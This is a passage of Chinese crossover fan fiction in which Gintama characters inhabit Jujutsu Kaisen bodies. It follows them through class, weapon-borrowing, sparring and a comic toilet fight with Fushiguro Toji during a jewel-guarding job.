夜蛾正道无力地捏着自己的鼻梁，叹出了这两天不知道第几次的气。
上课铃声响了半个多小时后，夜蛾正道才姗姗来迟，后面跟着个满头大包的宅十四。
不放过任何嘲讽机会的坂田银时立马开口：“哟，头上这么多包，是准备出家做僧侣了吗？”
宅十四疼得龇牙咧嘴，直吸凉气，在夜蛾正道眼皮子底下，他也没心思反驳，于是只好认栽地坐到自己座位上。
夜蛾正道看着剩下两个学生好奇地目光，并不准备在课上说起刚刚发生的事情。
他翻开书本，右手的指关节用力敲了敲黑板：“回神！开始上课。今天因为有事情晚了半小时，所以推迟半小时下课。”
不出意外，整个教室里响起了不满的“欸”。
但全被夜蛾正道一个眼神压了回去。
上课的时间还是那么的难熬，从夜蛾正道嘴里蹦出的第一个字开始，坂田银时和宅十四就开始打起哈欠。
夜蛾正道看着上一秒还生龙活虎，在他开口的下一秒就开始犯困的三个学生，怀疑自己是不是说的是什么催眠诅咒。
而看着这个场景，这么风平浪静的教室，竟然给了他奇异的安心感。
他的学生终于没有作妖了，虽然在睡觉，但正好好地坐在教室里。
感觉自己的下限在无限降低，源自内心属于教师的责任感再次唤醒了他，他用力敲了敲黑板，依次叫坂田银时和宅十四站起来回答问题，希望通过这个方式来让三个人多少能清醒一点。
至于效果，只能说是甚微。
浑浑噩噩的上课时间最终还是被坂田银时他们熬过去了。
听到夜蛾正道“今天就到这里了”的下一秒，他粘在一起的眼皮瞬间张开，麻溜地起身，踢了踢边上宅十四的桌子，说了声：“走了，去吃午饭。”
就先夜蛾正道一步离开了教室。
夜蛾正道瞪向坂田银时的背影，硬了，拳头硬了。
一个学校人不多的好处就体现出来了，就算是午餐高峰期，路上也看不到几个人。
就算晃晃悠悠、慢吞吞地到食堂，也不用像古代端玉玺的人一样端着餐盘，在一个个座位间穿梭，只为找到一个座位。
没有银行卡的坂田银时这次照样还是赊账点了餐点，食堂竟然不提供甜点这件事，让他有些难以接受。
就在他想着和谁提建议的时候，一个人走到了他的侧前方，朝着他微微鞠躬。
“悟大人。”
坂田银时沉默地看了看对方，从那齐整的黑色西装，他猜测对方应该是个辅助监督。
但是原著里没出现的角色，他也不认识，于是直接开始胡诌：“哦，小秋啊，好久不见，最近在公安对魔特异4课那干得怎么样啊？”
“您说的那是谁？”对方见坂田银时不认识自己，便主动自我介绍，“在下是五条分家的人，名字叫五条翔一，现在就任辅助监督。”
“我记得我记得，我小时候还抱过你呢。”
“啊？”
“那么小秋来找我做什么？”
意识到如果继续掰扯可能永远都回不到正题上，五条翔一选择无视槽点，从口袋中掏出一张卡，双手递给了坂田银时：“家里知道您似乎丢了钱包，所以特地让我来为您送卡。”
“！！！”
坂田银时只觉得顿时嘴里的饭也不香了，面前的人看着也讨喜了起来。
他笑得嘴角都快要咧到耳后根，一把抓过银行卡：“这怎么好意思呢？还麻烦你亲自走一趟，对了，里面有多少钱啊？”
“呃，家里不是太清楚您需要多少，就先保守充进了三千万日元，如果您觉得不够的话，可以打电话。”
说着，五条翔一将自己的名片给了坂田银时一张：“您如果不想联系家里的大管家的话，也可以直接联系我。”
此次的目的达成之后，五条翔一就告辞了。
坂田银时呲着牙看着手里的银行卡，一瞬间变成千万富翁的感觉让他适应良好。
这副地主家傻儿子的表现，看得家入硝子直摇头。
16.第十六章
由于还没有到夏季，所以咒灵数量没有多到要天天赶任务的地步。
没有任务的这段时间，就空闲了起来。
坂田银时虽然也很想从这个深山老林里出去，去拥抱现代社会。
但由于他们俩个初来乍到就大大小小连番闯了不少祸，所以现在正处于夜蛾正道的严加看管中。
左右想着没什么事情，坂田银时决定给自己提高点战斗力。
首先术式肯定是要熟悉的，但这总归是别人的力量，他们初来乍到，短时间内能掌握到什么地步不好说。
所以思来想去，还是按他们的习惯来比较稳妥。
想到这，坂田银时意识到他们还缺了一把称手的武器。
高专内最近的获取武器的地点在哪呢？
答案当然是忌库了。
想到就做，他拉起宅十四，就往高专的忌库里钻。
看门的人哪里敢拦这两个大瘟神，虽然心里百八十个不愿意，但还是忍辱负重地打开门，让他们进来了，并暗暗决定事后打小报告。
还不知道自己难逃满头栗子的坂田银时，看着不算大的忌库里塞满了各类武器，就像是进了粮袋的老鼠，眼馋的泪水从嘴角流出。
“这要是都卖了，估计得值不少钱吧？”
“你不是都有三千万了吗？”
“肤浅，怎么会有人觉得自己手里的钱少呢？”
被倒打一耙的宅十四撇了撇嘴，对着满墙武器不感兴趣。
坂田银时摘下墨镜，利用六眼牌bug，成功找出品级最高的一个武士刀咒具。
他顺手取下，握住刀柄将刀身拔出几分，反射着灯火的刀面，映照着他天空般的眼睛，丝丝寒气通过与他接触的部分，慢慢浸入他的身体。
毫无疑问，就算剔除它身为咒具部分的要素，光作为一把武士刀来看，这也是把上好的武器。
身为武士的坂田银时，对于刀剑多少还是有那么些爱惜之心。
眼见着挑到了把称心的武器，心里也不由得高兴了几分，他挑了挑眉，将刀收入鞘中，抬头就看到宅十四在那抱着手机傻乐。
“不是吧？这里这么落后的互联网环境也能让你这么入迷？”
宅十四咳嗽了几声，掩盖了下脸上的神情：“就是落后才能有趣啊。”
“哦～懂了，就是爽文小说里的那种机械降神吧？”
宅十四回了个“你很懂嘛”的眼神，然后被坂田银时塞了另一把武士刀。
“虽然你可能用不上。”坂田银时上下打量了下宅十四，“但是说不定关键时候能保个命呢。”
“… …我觉得在那之前，我被它终结的概率更大些。”
宅十四像是捧着烫手山芋一样，连忙把手里的咒具放了回去。
“一人不容二刀。”他指了指自己背后，“我有这把就够了。”
对，才不是担心又会被夜蛾正道揍，罚写检讨书。
坂田银时心满意足地走出忌库，无视了紧紧瞪着他手里咒具的看门人，来到了操场。
今天运气不错，操场上竟然还有人，这下可以不需要用宅十四来练手了。
宅十四只感觉背后突然一凉，他惊疑不定地看向坂田银时，就看到他肩扛着未出鞘的刀剑，走向操场的七海建人和灰原雄。
七海建人一脸“真是晦气”的表情，和边上眼睛蹭亮的灰原雄形成格外明显的对比。
“五条前辈！夏油前辈！你们也来训练吗？”
“嗯。”坂田银时那死鱼眼眯了眯，“实刀比拼吗？带我一个？”
灰原雄惊讶地眨了眨眼：“五条前辈什么时候会用刀了？一般不都是用苍轰吗？”
“就算是天才也是需要进步的嘛。”
坂田银时从刀鞘中拔出利刃，笑得一脸肆意：“怎么样？你们谁先来和我切磋切磋？”
七海建人和灰原雄对视了一下，凭借任务中培养的默契，无声地交换了意见。
接着灰原雄高举手臂，满脸兴奋地喊着：“我先我先！”
宅十四和七海建人站到操场的边上，给切磋的两个人让开位置。
“前辈！我要上了！”
灰原雄的刀法和他本人一样，简单明了，大开大合。
出乎坂田银时意料的是，灰原雄的力气倒是不小，配合上他的刀法倒是相辅相成。
小小地分析了下灰原雄的实力之后，坂田银时就把注意力挪到了自己手里的刀上。
对于武士来说，刀剑就宛如自己的半身，是需要去理解、磨合的伙伴。
但坂田银时是个例外，他从小在尸海中生存，对那时的他来说，最好用的刀永远是从新的尸体上扒下来的刀，刀对他而言也没有什么重要的意义，只不过是保护自身的利器。
况且，意义什么的，往往都是生活有余地的人会思考的东西。
直到被松阳带回去之后，他才有了第一把真正属于自己的刀。
但那把刀，也在纷纷的战火中，随着有关松下私塾生活的记忆，一起离他而去。
好在兜兜转转，他还是找到了背负在身后的包裹。
脑海里闪过万事屋和歌舞伎町其他人的脸庞，坂田银时的嘴角下意识微微扬起。
兵器交锋摩擦闪出点点火花，映在坂田银时出神的眼眸中，他感受了一下手里的刀，突然灵光一闪，悟了。
咒具，尤其是高等咒具，一般都会附有额外的能力。
有些是很直白的加buff，而有些，例如用具有术式的咒术师的尸骸，制作而成的咒具，则是可以让使用者使出该咒术师生前的术式。
这会使使用者在自身术式之外多一种攻击方式。
故而好的咒具十分抢手，可以说是可遇不可求。
而忌库里的咒具，虽然属于总监部，但严格来说属于御三家从自己仓库中捐出去的一小部分。
毕竟御三家中有不少人会在外做总监部下发的任务，而这些人平时休息、聚集的地方又都是在高专，所以将咒具存在高专，也有庇护族人的意愿在里面。
坂田银时试着将咒力注入到刀里，果然刀身起了反应。
只见原本锃亮的刀面突然变成磨砂质感，还没等灰原雄疑惑完，紧接着随着坂田银时一挥，在空中留下一道细细的沙砾。
“竟然是附魔型武器吗？”
坂田银时凑近刀面观察，发现所谓的磨砂质感，就是因为刀身覆盖着一层沙砾。
灰原雄非常有武德的停下了攻击，他也从上去看了看：“前辈，这些沙子有什么能力吗？”
“好问题。”
说完，坂田银时刀背朝着灰原雄一挥，在对方猝不及防下，一些沙子毫无阻碍地进了灰原雄的眼睛里。
“啊！前辈！我看不见东西了！”
“没错，这就是这把刀的厉害之处，它可以随时随地迷惑敌人的眼睛。”
“啊？迷惑这个词原来是带着物理属性的吗？！怎么想都不对吧！”
灰原雄闭着眼睛，也不敢动手去揉，眼
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角泛出生理性泪水。
坂田银时无视了对方的吐槽，自顾自地说着：“唔姆，不愧是一级咒具，得给你起个名字，既然都是玩沙的，那就叫你‘我爱罗’好了。”
切磋到这里也算是进行不下去了，七海建人满脸“我就知道会这样”的神情走到自己同期身边，先是用眼神无声地谴责着坂田银时，然后又带着同情的神情看向自己天真的同期。
坂田银时还处在拿到新玩具的新鲜劲里，他怎么想都感觉这刀有些鸡肋啊，这些沙子能干什么用？总不能遇到咒灵就往它眼睛里撒沙子吧？
不是手段低不低劣的问题，关键是杀伤力明显不够啊。
想到这他收回附在刀上的咒力，利落地收刀入鞘，考虑着要不要重新回忌库换一把武器。
“诶？”一旁的灰原雄愣了下，然后缓缓睁开眼睛，“我眼里的沙子好像不见啦。”
坂田银时一个大扭头看向灰原雄：“是在我收刀之后吗？那有没有可能，这些沙子也是受我控制呢？”
灰原雄倒吸口气：“可是一次操纵这么多沙子，脑子反应不过来的吧？”
“没事。”坂田银时大手一挥，指了指自己的眼睛，“别忘了我可是自带超级计算机的。”
这么一看，这把刀还是能用用的。
灰原雄得到了宝贵的实战经验，坂田银时熟悉了新咒具，皆大欢喜皆大欢喜。
这么想着的宅十四觉得差不多可以散了，就转身朝宿舍走去，却被坂田银时一把抓住后衣领。
“夏油，走什么啊？这还有个后辈等着和你切磋呢。”
“… …”宅十四茫然地指了指自己，“我吗？我和七海打？”
他转头看着面容尚且稚嫩的七海建人，想起原著第二季里那个满身腱子肉的双开门特写，觉得自己并不可以。
七海建人虽然不乐意，但是因为夏油杰别的不说，至少在和后辈切磋指导方面，还是比五条悟靠谱一些，加上边上灰原雄对于能看到自己偶像——夏油前辈出手的期待，于是犹豫了一会，朝着宅十四微微倾身。
“… …请多指教。”
坂田银时站在一边，没有丝毫犹豫地打开手机录像。
操场正中间，七海建人率先摆好起式动作，一板一眼的脸上，眼睛紧盯着对面的宅十四。
而宅十四，他看似面无表情地握着背后刀上的刀把，其实脑子已经宕机有一会了。
两个人面对面站着吹了会风，看着竟然还有点高手对决的错觉。
一向讲究效率的七海建人率先动了起来，他挥着手里裹着白布的钝刀，朝着宅十四斜上方劈去。
宅十四感觉脸边传来了挥舞武器带来的气流，瞬间脑子清醒，接着下意识双腿一软，武器一丢，一个非常标准的土下座。
“对不起！我什么都会做的！请饶我一命！”
“？”
饶是被迫害了那么多次的七海建人，此刻也难免蒙圈。
他堪堪刹住攻击，一言难尽地看向宅十四，只觉得自己前辈在短时间内又突破了人类的下限。
不，应该说，看到五条悟那样指导灰原雄之后，还对夏油杰会认真指导自己抱有期待的自己，实在是太天真了。
“我错了。”
他丢下一句对自己天真的道歉，然后就带着嘴里叭叭着“夏油前辈是不是身体不舒服啊”的灰原雄，离开了这个让他糟心的现场。
并且暗暗下定决心，之后私下里，再也不要和这两个人有任何交流了。
17.第十七章
收获颇丰的坂田银时抱着自己的新得的刀安分了几天，然后又开始觉得无聊了。
好在和冥冥约定的赚外快时间到了，他也终于能出门遛一遛了。
前几天刚因为擅闯忌库揍了坂田银时和宅十四一顿的夜蛾正道，狐疑地看向两人，只觉得他们在憋什么坏。
对自己信用度很有自知之明的坂田银时找来了冥冥坐镇，这才得到了夜蛾正道的出门同意。
“夜蛾也真是，稍微信任一点我们嘛。”
“说这话之前，先让自己的信用在别人心里及格怎么样？”
坂田银时不满地看过去：“冥冥，难道你也不信任我吗？那我回去了。”
已经摸清坂田银时脾气的冥冥一口答应：“好啊。不过违约金还有保守你秘密的封口费，一起付了吧？我想想，大概三千万吧？”
“你怎么知道我卡里多少钱… …算了，我大人有大量，不和你计较。”
三个人吵吵闹闹的来到了目的地，一打开门，坂田银时和宅十四就被满屋子的珠宝晃了眼，嘴角流下了没有见识的泪水。
冥冥轻轻一笑，抬步朝着迎接他们的秘书小姐走去。
“我们这边人都到齐了，可以开始准备工作了。”
秘书小姐瞥了眼还在发愣的两人，眼里透着些许担忧：“请三位跟我过来。”
四个人穿过琳琅满目的珠宝展柜，上楼来到了三楼。
这里和楼下不同，少了珠宝，多了沙发，很明显是个休息区。
休息区的三面由特制的玻璃做成，外面看过来只是一个黑漆漆的墙面，而从里面却能很好的俯瞰下方的整片区域，可以说是一个视野巨佳的监视点。
尤其六眼能够360度全方位观察，加上其极广的视线范围，所以不管敌人从什么地方侵入，在这个位置都可以第一时间发现。
在休息区的正下方，是仿照这次要保护的珍宝，而制作的赝品。
用来迷惑敌人，顺便看看能不能直接钓出对方。
真正的珍宝此时正摆放在休息区的中间，在灯光的照射下，发出让人难以忽视的光芒。
坂田银时稍稍抬起墨镜，不怎么熟练地用六眼观察。
心里有些疑惑，总觉得这个珍宝有些不太对劲，但一时也看不出什么问题。
坐在其中等候多时的四宫先生站起来，微微欠身：“这里是为各位准备的休息区和监视区，我们也不是什么专业人士，所以接下来全靠各位了。”
冥冥点了点头：“放心好了，谦虚点说，在这里算是集齐了大半个咒术界的战力。”
得到再三承诺，四宫先生微微松了口气：“冥冥小姐这么说我就更放心了，我还有其他业务要忙，就先走了。”
说完，四宫先生就转身离开，留下了自己的秘书小姐作为对接。
在外人看来，这里拥有两个业内顶尖的高手和活跃在委托前线的老手坐镇。
一个六眼可以全方面无死角的监视，再加上冥冥的乌鸦进行查漏补缺。
可以说是守备森严，滴水不漏。
然而实际上，除了冥冥，己方战力就只有一个时灵时不灵，三分看努力七分看运气的无下限使用者以及一个只收服了一个气氛组宝可梦的宝可梦初级训练师。
宅十四对此很担忧，凑过去小声说：“要不，我们还是放弃吧？万一遇到劲敌。”
“没事没事，只要把‘五条悟’和‘夏油杰’的名字往那一摆，大部分诅咒师都会歇了心思。”坂田银时不以为然地摆了摆手，“再说了，来的大概率都是些虾兵蟹将，物理制服就可以了。”
“… …所以说，物理制服对我来说也是很困难的事情。”
坂田银时眨了眨眼，上下打量了一下局促不安团在那的宅十四：“有道理。”
说完转身，在所有人都没有反应过来的时候，把要保护的宝石拿了下来。
“等等，五条先生这是要做什么？”
金主的秘书小姐姐慌乱中强撑着淡定的神情，紧张地看着坂田银时。
“啊？所以说，把东西放在最强的身上难道不是最安全的吗？”
秘书小姐姐嘴张合了几次，总觉得有点不对，但是一时间又不知道怎么反驳。
就这么个空档里，坂田银时已经熟练地把宝石用绳子绑在了胸口。
黑色制服正中间，一颗宝石突兀的在那熠熠发光，莫名有种游戏boss弱点的即视感，再搭配上他那HelloKitty的墨镜，不知道的还以为是哪家傻子富二代出来了。
秘书小姐对于面前两个人的怀疑在此刻达到了顶峰，费了很大劲才不至于让自己的表情扭曲。
眼看着场面气氛有些僵硬，身为举荐人的冥冥站出来替坂田银时说话：“放心吧秘书小姐，这位是我们高专最强之一，保护一个宝石绰绰有余。”
秘书小姐为难地看了看冥冥，对方从容不迫的表情让她平静了下来，这才将信将疑地同意了坂田银时的行为。
得到允许的坂田银时大大咧咧地走到沙发边，一屁股坐下，翘着二郎腿开始品尝看着就很昂贵的甜点。
一上午就这么平静地过去了。
“辛苦各位了，我订了些餐点。”
中午时间，秘书小姐再次出现，手里拎着几袋打包的饭菜。
“啊，谢谢。”
宅十四不好意思地笑了笑，伸手接过。
秘书小姐忙说“不客气”，探头看向后面的坂田银时：“五条先生要哪一份？”
坂田银时没有回答，他放下二郎腿，一脸深沉地双手交叉放在下巴上：“不妙啊。”
“咦！难道是有敌袭吗？”
秘书小姐立马慌乱起来，大幅度地左右乱看，手里的饭菜随着她的动作在空中画出一道抛物线。
宅十四有些心疼地说：“那，那个，汤，菜汤要撒了… …”
“不妙啊。”坂田银时重复了一句，然后捂着肚子站了起来，“我肚子有点不妙，去个厕所先。”
秘书小姐：“… …”
“呵呵。”冥冥见怪不怪地撩了下划到眼前的刘海，“估计甜点吃多了吧，秘书小姐，不用管他。”
“呃，嗯。”
因为第一次这么用眼过度，身体急需补充糖分，再加上本身就没想要控制，所以一上午过去，休息区的所有甜点都进了坂田银时的肚子。
之前吃得有多欢，现在肚子就有多疼。
对此，坂田银时表示，好吃，爱吃，下次还要多吃！
顺着路上的指示，在七拐八拐之后，尽头出现的事一间金闪闪的房间。
坂田银时愣了一下，怀疑自己走错路。退后一步，探头看了看边上挂着的标识。
中日英韩四国文字都写着“厕所”。
不愧是有钱人的宅邸，连厕所都是镶金的。
坂田银时感慨万千地走进厕所，看到偌大的厕所里其中一个隔间已经有人了，于是没有停顿地直接进了隔壁的隔间。
然后掏出古朴的翻盖手机，坐在马桶上边玩贪吃蛇边放飞本我。
马桶上一阵枪林弹雨过后，他伸手朝身侧探了探，什么也没摸到。
他将目光从手机里移了出来，却看到原本放卷纸的地方，此时空空如也。
“… …不是吧，运气这么差的吗？”
不过问题不大，这里不是柳生家，而且他手上还有手机。
但是出于不想舍近求远的心思，他还是选择先向隔壁厕友寻求帮助。
他用关节敲了敲隔板：“隔壁的兄弟，你
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那有纸吗？借几张呗。”
隔壁悉悉索索了一会，从下面伸过来一张纸。
“谢啦，兄弟。”
坂田银时接过，感觉手感有点不对劲。
他把纸拿到眼前打开。
猩红的“通缉令”三个大字写在开头。
“… …兄弟，你是不是掏错了，这个是通缉令。”
“啊，抱歉抱歉，顺手把上厕所打发时间看的读物递过去了，给，这次可以了。”
坂田银时心里忍不住嘀咕，什么怪人，上厕所把通缉令当做读物看？而且这声音怎么那么耳熟？
不过也没有纠结多久，毕竟光着屁股在这聊天什么的，多少有点不自在。
他弯了弯腰，想要接过对面递过来的纸，却看到一把匕首，在离他小腿不足十厘米的地方闪闪发亮。
“… …兄弟，难道你屁股是磨刀石吗？需要用匕首擦屁股的吗？”
“不是，这是用来送你上路的。”
话音刚落的下一瞬间，锋利的刀刃朝上，随着对方的力道，像切豆腐一样，从下往上，轻松的将价格不菲的木制挡板一分为二。
挡板裂开，露出袭击人的身影。
利落的黑色短发，绿色的眼眸透着杀气，因兴奋咧开的嘴角，有一道陈年的疤。
“伏，伏黑甚尔？！”
坂田银时屁股都顾不得擦，一个激灵地窜了出去。
刚入赘改姓没多久的伏黑甚尔愣了下：“哟，高贵的六眼大人竟然这么关注我这种小人物啊。”
好阴阳怪气的话，却没办法拯救坂田银时宕机的脑子。
他记得这只是个麻瓜随机发布的普通任务吧？他也就是随手接了赚个外快而已，怎么就快进到大魔王了？
现在的五条悟本人都打不过的存在，让他一个无下限都玩不溜的冒牌货打？
真的假的？
我打甚尔？
虽然很想转头就跑，但是他明白，那只会让自己死得更快而已。
坂田银时看了看伏黑甚尔手里的匕首，再低头看了看自己。
带来的咒具因为急着上厕所，被他落在了休息区的沙发边上，现在他手里除了一张通缉令，啥武器也没有。
于是果断决定就地取材。
他眼睛在这昂贵的厕所里转了转，发现了质量看起来很好的水管一根。
于是小心地挪过去，一手握住，在水管“吱呀”的悲鸣中，运转咒力加大输出，最后成功掰下来一根长度正好适中的水管。
还没等他摆好迎战姿势，失去一段的水管，从里面“噗呲”喷出浑黑的水流，正正好好地将坂田银时浇了个满头。
原本散发着芬香的厕所，此时被一股臭味以极为霸道的势头占领。
杀气腾腾的两人都不由得愣在了原地。
过了一会，伏黑甚尔小小地后退了一步。
“喂！为什么后退！你会是在嫌弃吧？绝对是在嫌弃吧？！”
被糊了一脸的坂田银时恶向胆边生，举着手里的钢管就朝着伏黑甚尔冲去。
这根钢管表面还带着黑色的污水，从另个角度来说也是一种附魔武器。
随着坂田银时的用力挥舞，污水顺应着物理法则向外散开。
伏黑甚尔虽然很嫌弃庞臭的敌人，但是良好的职业素养让他勇敢地迎战。
因为天与咒缚赐予他强劲的肉1体，同时也赐予了他过人的嗅觉，在这么近距离的臭味轰击下，他下意识地想要屏住呼吸。
然而下一秒，一滴甩在他脸颊上的污水，在离鼻子极近的地方，放大了附有冲击性的气味，让平静的他面目瞬间狰狞。
“小鬼，我杀了你！”
嗯，这次任务回去，任务报酬该追加一笔精神损失费了。
18.第十八章
伏黑甚尔觉得自己有点背，肯定和他好几天没去赌马场有关。
之前他事先调查过冥冥，知道对方能使用乌鸦进行视野分享。
虽然擅长体术，但在他这个天与咒缚这里还算不上什么威胁。
于是这一次，他和之前一样，熟练地躲过监视，不着痕迹地调查了一番。
地面上大喇喇放着的，不用想都知道肯定是赝品，他没有过多停留，猜测目标应该是在冥冥面前，被贴身保护着。
就在他掏出咒具准备来个不讲武德的偷袭的时候，他在冥冥的身边看到了个熟悉的白毛。
尤其是那双眼睛，让他想起多年前的一瞥。
像是沉静在冰川下的暗流，让人本能中就能感受到危险。
他感觉自己身体在微微颤栗，兴奋于和强者的一战。
但显然现在不是什么好时机，他没有料想到会在这遇到五条悟，没有做什么准备。
想到这，他退到地理位置最为边角的厕所，思考着下一步该怎么做。
任务已经做到一大半了，如果在这最后放弃的话，多少让他有些不甘心，要想个办法引开他们。
就在他纠结的时候，他听到了有人进入了厕所。
来人似乎在门口停了一小会，接着无视其他隔间，直接选择进入了自己隔壁的那一间。
听着身边肆无忌惮的射击音，和手机里传出的失真电子音，不管是不是自己的行踪暴露了，对方故意挑衅，伏黑甚尔都不想忍了。
人在上厕所的时候是最脆弱的，所以他决定先下手为强。
坂田银时没想到自己随意的一个选择，就激怒了boss。
他毫无形象地在干净的厕所中挥洒污水，从一个近战物理战士，进化成远程攻击魔法师。
但是不管画面怎么样，效果还是很拔群的。
这点，看着面前陡然暴怒的伏黑甚尔就知道了。
认真起来的伏黑甚尔不是很好招架，他全身隆起的肌肉不光使他能够以极快的速度挥舞武器，同时也能够保证每一击的力道。
短短几个回合下来，坂田银时就已经开始觉得自己的手腕在隐隐发麻。
他靠着六眼强大的分析能力和bug级别的视角，加上自身被咒力拔高了好几个度的身体素质，和关键时候调动起来一瞬间的无下限，才勉强能打个有来有回。
而那根散发着化学气味的钢管，也很快就支撑不住，从一根变成了掉了链子的双截棍。
厕所里的所有能搬得动的东西，都变成了坂田银时的武器。
他在密集的攻击中灵活地穿梭、格挡，活像是进了家具城的成龙。
在伏黑甚尔又一击砍到被坂田银时拽下来的马桶盖子上时，他看着到处漏水的厕所，终于开始忍不住了。
“喂，六眼，你就用这种下三滥的手段战斗？”
“怎么下三滥了！”坂田银时誓死捍卫厕所用品的尊严，“知不知道有句话‘能哭的地方只有厕所和爸爸的怀里’？也就是说厕所等于爸爸，你怎么能说自己的爸爸下三滥呢？”
伏黑甚尔被这一番大孝子言论不为所动，他手上不停，嘴里说出更为孝子的话：“那种东西用下三滥来形容都不够格。”
他侧身躲过朝自己飞来的洗手台，心下里其实有些意外。
五条家的六眼神子，只要是在咒术界的人，几乎就没有人不知道的，他那双看透一切咒力的眼睛和那无下限术式，让五条悟即使在孩童时期，也能成为立于顶端的强者。
但好用的术式，一般也意味着对于体术锻炼的疏忽，毕竟在这个以天赋为尊的咒术界，拥有一个好术式本身就已经强于他人太多。
体术不过是弱者求生的手段而已。
这种腐朽的思想扎根于咒术界，更别说咒术界的御三家了。
但是在这短短的交锋来看，虽然对方没有用什么像样的武器，但伏黑甚尔能够感觉到，对方拥有丰富的与人的实战经验，而且从头到尾没有开无下限术式，看起来比起术式更像是擅长使用体术。
短时间的交锋让两人形成了共同意识，拿下对面这个人要费不小的力气。
但和伏黑甚尔不同，坂田银时还有两个在外面的同伙。
虽然伏黑甚尔有自信，就算他们三个一起上，他也有一战之力，但是对于任务来说，暴露的风险有些太高，再在这浪费时间也只会增加投入成本。
关键是，委托的钱没给够。
为了一千万，杀一个悬赏金额过亿的五条悟，他自认自己性价比还不是那么高。
全身心集中的坂田银时，用超敏锐的六眼，捕捉到伏黑甚尔这一瞬间的走神，顿时在心里大喊：好机会！
于是他抓紧时机，一个灵活地下腰，躲过正面刺来的一刀，再以非常扭曲的姿势，将手里新的水管刺向对方的侧腰。
伏黑甚尔猛然回神，手指并掌，朝着坂田银时的手腕一劈。
在对方吃痛的时候，瞅准他不稳的下盘，一个扫堂腿过去。
这一瞬间，坂田银时在两股力的作用下，翻转了一个面，狼狈地面朝下摔倒在地。
伏黑甚尔握紧武器，想要继续补刀，却在一瞬间听到了什么东西碎裂的声音。
声音不算大，但是在空荡的厕所里显得尤为刺耳。
两人一时间都愣在了原地。
坂田银时躺在地上一动不动，仿佛只要这样就能够逃避现实。
但冷酷的天与暴君不会给他这个机会：“小鬼，宝石怎么了？”
坂田银时浑身一颤，心虚地从地上慢吞吞地爬起。
胸口绑着的宝石，随着他的动作，一片一片的掉落，发出一声声让人心碎的声音。
伏黑甚尔：“... ...”
他在杀了五条悟换取悬赏和放弃任务被白嫖劳动力中犹豫了几秒，就看到坂田银时眼神突然变得坚毅起来。
沦为半个废墟的厕所里，坂田银时取下胸口剩下的宝石：“伏黑甚尔，你竟然得不到就想着毁掉！真是个狠心的男人，你的罪行不会被磨灭，会由我这个正义又迷人的反... ...咒术师，将真相公之于众！”
他正义凛然地当面推着锅，手非常不干净地把宝石碎片往自己的兜里揣。<
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p>“啧啧啧，造孽啊，这些大猩猩打起架来一点也不怜金惜玉。”
“喂，我听到了。”伏黑甚尔从肚子里吐出丑宝，“任务什么的不重要，果然还是先把你杀了吧。”
“… …”
在厕所开打的一瞬间，在外面的冥冥和宅十四就察觉到了。
他们站起身，做好战斗准备。
主要还是冥冥拿着武器戒备，宅十四只能边“咦咦咦”地狂叫，边和惊恐的秘书小姐一起躲在冥冥背后。
冥冥：“… …”
她这是花钱给自己雇了个客户吗？
时间一分一秒的过去，对于从来都是一炮秒的五条悟来说，显然这次的战斗有些过于安静，时间也有些长了。
冥冥内心有些不安，她微微侧头：“夏油，你去看看五条那边什么情况。”
“啊？我？那你呢？”
“我留下来照看剩下的珠宝和可爱的秘书小姐。”
“… …”宅十四看了眼厕所方向，就连他这个外行人都能感受到咒力波动，最终还是从心的腿软了，“我，我留下来看着，冥冥小姐你去看看怎么样？”
冥冥面上表情没什么变化，只是回头深深看了眼表情比秘书小姐还要惊恐的宅十四，沉默了几秒，最后还是决定不在这浪费时间。
“好吧，怎么说我也是前辈。”
她将包里的武器拿出，朝着咒力波动的源头小跑着。
离得越近，她越能清晰地听到兵器交接时的响声，断定此刻战况应该很危机。
强者间的战斗不能随意加入，否则不但可能误伤自己，还有可能帮倒忙。
于是她控制了一只楼下待命的乌鸦，自己躲在不近不远的拐角处，决定先利用乌鸦操术观察情况。
尘土和碎石在空中乱飞，两个狼狈的身影在厕所里拳拳到肉，打得有来有回。
冥冥看着浑身污泥的两个人，一瞬间有了掉头走人的念头。
这还是她第一次看到打起来这么埋汰的。
她刚在内心感慨完，再等她定睛一看，那平时说句话都能噎死人的最强学弟，此刻，竟然只穿了个裤衩。
冥冥倒吸一口气，这个裤衩甚至是粉色的！图案还是那种少女很喜欢的草莓！
此刻她已经忘却了任务，满脑子都是那个粉色的草莓裤衩。
这是什么？庵歌姬说的网络新词反差萌吗？
为什么她感觉不到一点可爱，只觉得有种诡异的惊悚感呢？
就像是瞥见了什么绝对不能看到的东西。
冥冥不知道的是，这条裤衩已经是坂田银时努力争取到的最好结果了。
他光着屁股从马桶上窜出来的时候，连碰到裤子的机会都没有。
按照他们世界的传统习俗，此时应该顺势把上半身也一起脱光，回归本我。
在伏黑甚尔密集的攻击中还来得及拉上裤衩，已经是对这个世界的节操最大的尊重了。
强大的咒术师职业素养，让冥冥停下了想要离开的脚步，接着，她脸色一变。
她用来观察的乌鸦，被那个男人一击击杀了。
19.第十九章
看来自己是暴露了。
想到这，冥冥也不再想这些有的没的，敛住呼吸悄悄靠近。
她前脚刚一踏进战圈，一道凌冽的刀光在她脸边的墙面上留下一个深深的口子。
“摸过来一只鬼鬼祟祟的老鼠。”
冥冥架起武器，目视着伏黑甚尔，缓缓移动到前往大厅的必经之路上。
“阁下就是这几起盗窃的罪魁祸首？”冥冥看了眼吃力招架的坂田银时，“真是好身手。”
伏黑甚尔冷笑一声，眼里的杀意渐渐化为实质：“放心，等会我就用我这好身手，送你们一起上路。”
“喂喂喂，一见到美女就开始大放厥词可是普信男的象征啊。”坂田银时无视围绕在自己身边的杀气，“是因为找不到对象太寂寞了吗？看来这年头胸大也没有什么用啊。”
“呵，小鬼，说这话之前，先把盯着我胸的羡慕眼神收回去。”
“啰嗦！才没有看呢！这种东西，银… …悟桑我努努力也是能有的！”
伏黑甚尔嘴上嘲讽，手下也没有停，时间拖得有点久，他开始有些不耐烦了。
就在坂田银时和冥冥觉得今天要不死不休的时候，一个突兀的铃声在空旷了许多的厕所内响起。
伏黑甚尔一把挥开坂田银时的攻击，一个大跳，站在了窗户边。
他从口袋里掏出手机，看见来电人名字不悦地眯了眯眼睛，然后旁若无人地接了起来。
“你最好有要事。”
电话对面听到这杀意满满的话，愣了一下，然后加快语速说着：“雇主那边刚刚打电话过来，让停手，最后一个宝石不需要了，报酬照付。”
伏黑甚尔咂了咂嘴，有种忙活了半天什么也没忙的感觉。
他直接挂断了电话，也没有了继续打下去的兴致。
“小鬼，算你运气好，捡回了一条命。”
伏黑甚尔不做不能带来金钱的事情，既然报酬已经拿到手，那在这里纠缠也得不到什么好处。
于是没等另外两个反应过来，他就已经翻窗离开了。
真是开打得突然，结束得更加突然。
